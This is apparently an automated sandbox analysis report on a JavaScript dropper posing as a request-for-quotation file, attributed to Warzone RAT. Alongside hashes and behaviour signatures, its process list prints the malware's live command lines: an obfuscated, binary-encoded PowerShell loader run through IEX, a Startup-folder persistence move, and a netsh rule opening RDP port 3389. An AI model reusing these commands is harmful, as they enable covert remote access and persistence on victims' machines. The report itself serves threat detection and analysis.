Analysis
-
max time kernel
150s -
max time network
183s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
29-11-2022 10:30
Static task
static1
Behavioral task
behavioral1
Sample
RFQ scope of requirements.js
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
RFQ scope of requirements.js
Resource
win10v2004-20220812-en
General
-
Target
RFQ scope of requirements.js
-
Size
2KB
-
MD5
84ae648af28a2f5acd3c67fabde24615
-
SHA1
45a9a2ddd9b5d8fedd6c5767cdb0bafb95c6d72b
-
SHA256
c3db9d461440908e3278fda059adb00e9f546a3dd8dd38f80a6cee93372ae15d
-
SHA512
7262173a3d69a54489b57087380e056b4f789343e9e0fe58efc5d0efbe1f166df44360bf1f9a2dba96b04afc5cac272cb3b262bd1eeda1c347131fa2db38468d
Malware Config
Signatures
-
WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
-
Warzone RAT payload 5 IoCs
Processes:
resource yara_rule behavioral2/memory/4068-150-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/4068-151-0x000000000040B556-mapping.dmp warzonerat behavioral2/memory/4068-154-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/4068-155-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat behavioral2/memory/4068-157-0x0000000000400000-0x0000000000568000-memory.dmp warzonerat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 35 2844 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
110.exepid process 3688 110.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Sets DLL path for service in the registry 2 TTPs 1 IoCs
Processes:
InstallUtil.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\Microsoft DN1\\sqlmap.dll" InstallUtil.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\110.exe upx C:\Users\Admin\AppData\Local\Temp\110.exe upx behavioral2/memory/3688-165-0x0000000000330000-0x000000000035D000-memory.dmp upx behavioral2/memory/3688-169-0x0000000000330000-0x000000000035D000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
wscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation wscript.exe -
Loads dropped DLL 3 IoCs
Processes:
powershell.exesvchost.exepid process 2844 powershell.exe 2844 powershell.exe 3860 svchost.exe -
Drops file in System32 directory 1 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Windows\System32\rfxvmt.dll InstallUtil.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2844 set thread context of 4068 2844 powershell.exe InstallUtil.exe -
Drops file in Program Files directory 2 IoCs
Processes:
InstallUtil.exedescription ioc process File created C:\Program Files\Microsoft DN1\sqlmap.dll InstallUtil.exe File created C:\Program Files\Microsoft DN1\rdpwrap.ini InstallUtil.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
IEXPLORE.EXEiexplore.exeIEXPLORE.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30999526" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\VersionManager IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000006900cc0d8566b84798b3c74f8f9d026c000000000200000000001066000000010000200000007c9343dc185c2a7400ece27fe963689d609ee106bc2d2f26afa15cba24635416000000000e8000000002000020000000da93b1a7e97806685568dc2dc48281b41c46dfd1eb23a53d87963ce0503ee8f32000000028a30490f559200d30f3f5d43ebab559f7758f1c4ab08ca4dfe81f959e83941740000000242737e4a99c2fc203c13facb9734f34c6473f099cc09371900a0d82b8b18df76233b3f115576a020dcfb63aba6868a8f26d96a29b6160d8f6cee73a0f40154c iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "193173732" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30999526" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{362BA39A-6FD9-11ED-89AC-F6A3911CAFFB} = "0" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "368174124" IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "376486414" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\IESettingSync IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30999526" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "193173732" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50" IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 30048b08e603d901 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exesvchost.exepid process 3016 powershell.exe 3544 powershell.exe 3544 powershell.exe 3016 powershell.exe 2844 powershell.exe 2844 powershell.exe 1380 powershell.exe 1380 powershell.exe 3860 svchost.exe 3860 svchost.exe 3860 svchost.exe 3860 svchost.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 664 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
powershell.exepid process 3016 powershell.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeInstallUtil.exesvchost.exedescription pid process Token: SeDebugPrivilege 3016 powershell.exe Token: SeDebugPrivilege 3544 powershell.exe Token: SeDebugPrivilege 2844 powershell.exe Token: SeDebugPrivilege 1380 powershell.exe Token: SeIncreaseQuotaPrivilege 2844 powershell.exe Token: SeSecurityPrivilege 2844 powershell.exe Token: SeTakeOwnershipPrivilege 2844 powershell.exe Token: SeLoadDriverPrivilege 2844 powershell.exe Token: SeSystemProfilePrivilege 2844 powershell.exe Token: SeSystemtimePrivilege 2844 powershell.exe Token: SeProfSingleProcessPrivilege 2844 powershell.exe Token: SeIncBasePriorityPrivilege 2844 powershell.exe Token: SeCreatePagefilePrivilege 2844 powershell.exe Token: SeBackupPrivilege 2844 powershell.exe Token: SeRestorePrivilege 2844 powershell.exe Token: SeShutdownPrivilege 2844 powershell.exe Token: SeDebugPrivilege 2844 powershell.exe Token: SeSystemEnvironmentPrivilege 2844 powershell.exe Token: SeRemoteShutdownPrivilege 2844 powershell.exe Token: SeUndockPrivilege 2844 powershell.exe Token: SeManageVolumePrivilege 2844 powershell.exe Token: 33 2844 powershell.exe Token: 34 2844 powershell.exe Token: 35 2844 powershell.exe Token: 36 2844 powershell.exe Token: SeIncreaseQuotaPrivilege 2844 powershell.exe Token: SeSecurityPrivilege 2844 powershell.exe Token: SeTakeOwnershipPrivilege 2844 powershell.exe Token: SeLoadDriverPrivilege 2844 powershell.exe Token: SeSystemProfilePrivilege 2844 powershell.exe Token: SeSystemtimePrivilege 2844 powershell.exe Token: SeProfSingleProcessPrivilege 2844 powershell.exe Token: SeIncBasePriorityPrivilege 2844 powershell.exe Token: SeCreatePagefilePrivilege 2844 powershell.exe Token: SeBackupPrivilege 2844 powershell.exe Token: SeRestorePrivilege 2844 powershell.exe Token: SeShutdownPrivilege 2844 powershell.exe Token: SeDebugPrivilege 2844 powershell.exe Token: SeSystemEnvironmentPrivilege 2844 powershell.exe Token: SeRemoteShutdownPrivilege 2844 powershell.exe Token: SeUndockPrivilege 2844 powershell.exe Token: SeManageVolumePrivilege 2844 powershell.exe Token: 33 2844 powershell.exe Token: 34 2844 powershell.exe Token: 35 2844 powershell.exe Token: 36 2844 powershell.exe Token: SeDebugPrivilege 4068 InstallUtil.exe Token: SeAuditPrivilege 3860 svchost.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
iexplore.exepid process 1512 iexplore.exe 1512 iexplore.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
iexplore.exeIEXPLORE.EXEIEXPLORE.EXEInstallUtil.exepid process 1512 iexplore.exe 1512 iexplore.exe 1976 IEXPLORE.EXE 1976 IEXPLORE.EXE 1512 iexplore.exe 1512 iexplore.exe 2504 IEXPLORE.EXE 2504 IEXPLORE.EXE 4068 InstallUtil.exe -
Suspicious use of WriteProcessMemory 31 IoCs
Processes:
iexplore.exewscript.exepowershell.exeInstallUtil.exe110.exedescription pid process target process PID 1512 wrote to memory of 1976 1512 iexplore.exe IEXPLORE.EXE PID 1512 wrote to memory of 1976 1512 iexplore.exe IEXPLORE.EXE PID 1512 wrote to memory of 1976 1512 iexplore.exe IEXPLORE.EXE PID 5088 wrote to memory of 3544 5088 wscript.exe powershell.exe PID 5088 wrote to memory of 3544 5088 wscript.exe powershell.exe PID 5088 wrote to memory of 3016 5088 wscript.exe powershell.exe PID 5088 wrote to memory of 3016 5088 wscript.exe powershell.exe PID 1512 wrote to memory of 2504 1512 iexplore.exe IEXPLORE.EXE PID 1512 wrote to memory of 2504 1512 iexplore.exe IEXPLORE.EXE PID 1512 wrote to memory of 2504 1512 iexplore.exe IEXPLORE.EXE PID 5088 wrote to memory of 2844 5088 wscript.exe powershell.exe PID 5088 wrote to memory of 2844 5088 wscript.exe powershell.exe PID 5088 wrote to memory of 1380 5088 wscript.exe powershell.exe PID 5088 wrote to memory of 1380 5088 wscript.exe powershell.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 2844 wrote to memory of 4068 2844 powershell.exe InstallUtil.exe PID 4068 wrote to memory of 3688 4068 InstallUtil.exe 110.exe PID 4068 wrote to memory of 3688 4068 InstallUtil.exe 110.exe PID 4068 wrote to memory of 3688 4068 InstallUtil.exe 110.exe PID 3688 wrote to memory of 4232 3688 110.exe netsh.exe PID 3688 wrote to memory of 4232 3688 110.exe netsh.exe PID 3688 wrote to memory of 4232 3688 110.exe netsh.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\RFQ scope of requirements.js"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Can’t reach this page Can’t reach this page Make sure the web address http://104.223.67.151 is correct Search for this site on Bing Refresh the page Check that all network cables are plugged in. Verify that airplane mode is turned off. Make sure your wireless switch is turned on. See if you can connect to mobile broadband. Restart your router. More information <id id="moreInformation">More information</id> This website could not be found. Error Code: INET_E_RESOURCE_NOT_FOUND Fix connection problems2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\RFQ scope of requirements.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function ermkflll { $o00=[char]105 + 'EX';sal P $o00 $gf=('55155155,51555151,51115515,51115515,51151111,51115515,51555551,51155511,51115155,51151551,51151111,51151115,51515555,51115515,51155151,51155115,51155151,51115515,51155151,51151115,51155511,51155151,55155555,55111151,55155555,55155111,51515511,51151551,51151155,51155151,51151115,51115155,51151155,51111551,51555511,51151111,51151115,51115155,51151551,51151115,51115151,51155151,55155111,55111511,55155155,51115155,55115151,55115115,51155115,51155111,55155555,55111151,55155555,51511511,51555151,51151115,51115151,51151151,51511151,55111515,55111515,51515155,51151111,51551111,51155515,51151515,51155151,51155511,51115155,55151555,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,51515155,51111551,51115555,51155151,51511151,55151155,55155555,55115511,55115555,55115111,55115515,55151551,55111511,51511511,51515511,51111551,51115511,51115155,51155151,51151151,55151115,51551115,51155151,51115155,55151115,51515511,51155151,51115515,51115115,51151551,51155511,51155151,51515555,51151111,51151551,51151115,51115155,51551151,51155551,51151115,51155551,51155111,51155151,51115515,51511151,55111515,55111515,51515511,51155151,51155511,51115151,51115515,51151551,51115155,51111551,51515555,51115515,51151111,51115155,51151111,51155511,51151111,51151155,55155555,55111151,55155555,55155155,51115155,55115151,55115115,51155115,51155111,55111511,51555551,51155155,51155155,55151151,51515155,51111551,51115555,51155151,55155555,55151151,51555551,51115511,51115511,51155151,51151151,51155515,51151155,51111551,51551115,51155551,51151151,51155151,55155555,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55111511,51155155,51151111,55155555,51111511,55155155,51115555,51151551,51151115,51155111,55155555,55111151,55155555,51115155,51155151,51115511,51115155,55151151,51155511,51151111,51151115,51151115,51155151,51155511,51115155,51151551,51151111,51151115,55155555,55151151,51155511,51151111,51151151,51115555,55155555,51155111,51151111,51151111,51155111,51151155,51155151,55151115,51155511,51151111,51151151,55155555,55151151,51155511,51151111,51115151,51151115,51115155,55155555,55115551,55155555,55151151,51515551,51115151,51151551,51155151,51115155,51111151,55155555,51115151,51151115,51115155,51151551,51151155,55155555,55151555,55155155,51115555,51151551,51151115,51155111,55151551,55111511,55155155,51115155,51115155,51111551,55111151,51515555,55151555,55155111,55151555,51551115,51155151,51115111,55151151,55155111,55151511,55155111,51551111,51155515,51151515,51155151,55155111,55151511,55155111,51155511,51115155,55155555,51551115,51155151,55155111,55151511,55155111,51115155,55151115,51515111,51155151,55155111,55151511,55155111,51155515,51555511,51151155,51151551,55155111,55151511,55155111,51155151,51151115,51115155,55151551,55155111,55151551,55111511,55155155,51151151,51115115,55111151,55155555,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51551551,51151115,51115155,51155151,51115515,51155551,51155511,51115155,51151551,51151111,51151115,51511151,55111515,55111515,51555511,51155551,51151155,51151155,51555515,51111551,51151115,51155551,51151151,51155151,55151555,55155155,51115155,51115155,51111551,55151155,55155111,51555155,51151111,51115111,51151115,55155111,55155555,55151511,55155555,55155111,51151155,51151111,51155551,51155155,55155111,55155555,55151511,55155555,55155111,51515511,51115155,51115515,55155111,55155555,55151511,55155555,55155111,51151551,51151115,51155111,55155111,55151155,51511511,51551151,51151551,51155511,51115515,51151111,51115511,51151111,51155115,51115155,55151115,51515115,51151551,51115511,51115151,51155551,51151155,51555515,51155551,51115511,51151551,51155511,55151115,51555511,51155551,51151155,51151155,51515155,51111551,51115555,51155151,51511151,55111515,55111515,51551151,51155151,51115155,51151555,51151111,51155155,55151155,55155111,51151555,51115155,51115155,51115555,55155111,55155555,55151511,55155555,55155111,55111515,55151111,55151111,51151555,51115551,51151115,51115111,51151555,51155551,55151115,51111555,51111551,51111515,55151111,51115111,51115555,55151111,51115511,51151551,51155151,55151115,51151515,51115555,51155111,55155111,55151551,51111155,51515555'.replace('5','0')|IEX) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) } (('[syst' + 'em.Str' + 'ing]::Join('''', $gf)')|P)|P } ermkflll2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Sets DLL path for service in the registry
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\110.exe"C:\Users\Admin\AppData\Local\Temp\110.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="3389" dir=in action=allow protocol=TCP localport=33895⤵
- Modifies Windows Firewall
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-Item 'C:\Users\Admin\AppData\Local\Temp\RFQ scope of requirements.js' 'C:\Users\Admin\\AppData\\Roaming\\Microsoft\\Windows\Start Menu\Programs\Startup\'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Internet Explorer\ielowutil.exe"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding1⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1512 CREDAT:17410 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1512 CREDAT:82952 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Microsoft DN1\sqlmap.dllFilesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
471B
MD5bd4f3cb3175ff83bbc2c827705950a60
SHA19d940539de8317a8a6444559d9fc9f190dd9f80b
SHA256ff821119d7d2bf9d795503ed63996c81611b84cdcdacac943da9a9ae2d0d2384
SHA51202b99cb5a7e2cf6004fd010c5718f85830aca7b6f43b5ed929d2df8ca4209a29cfd9e54280a35392b2617ab58e578c097834ce24e9baa8b226c6181c64c0d377
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776Filesize
434B
MD5e6347740be8708efab6ea77b64a21632
SHA165b98ec9b7ab6da1605eef98f47f744803232fed
SHA2560a8ed9b470861dd88692832e0056a983eeec198b8ad88a23367c6f6c6d4d3f78
SHA512224dd590b293eb763dc61b361d929a162938f8dd90f1fedfd5619b5813f32b8cc0510129419019c3301c4bcc3193e639e3f8abf7af19a907e5a47cc47dd68e26
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD56cf293cb4d80be23433eecf74ddb5503
SHA124fe4752df102c2ef492954d6b046cb5512ad408
SHA256b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA5120f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5d48c6ff9af25e5ab8db50534e5033a2d
SHA192d88a90bd0ab6ed73c60d0fff92cd514a9de623
SHA2568a353cbc1d2fe9b22bb851610aa8f2fdff9f5e337845df182e6a89cf997631a4
SHA512c82209e589e9761e2abddb619d5a1b2a94b2d2c8ef77a76812b3a44f3ab18257b31cd9f2dae117c3d69552ee0de8cd73a19cda94a960065e04c039b4dd54725c
-
C:\Users\Admin\AppData\Local\Temp\110.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
C:\Users\Admin\AppData\Local\Temp\110.exeFilesize
70KB
MD5ca96229390a0e6a53e8f2125f2c01114
SHA1a54b1081cf58724f8cb292b4d165dfee2fb1c9f6
SHA2560df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
SHA512e93445bce6c8b6f51890309577a0ea9369860d2e6bf8cc0ca708879a77bb176d27c5f559bbdb7deb4b719aee0fc48d9068c293559f7629baf4ec3515898102ef
-
C:\Users\Admin\AppData\Local\Temp\11d5600c-2bda-4d22-b1dc-d8a970181a72\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
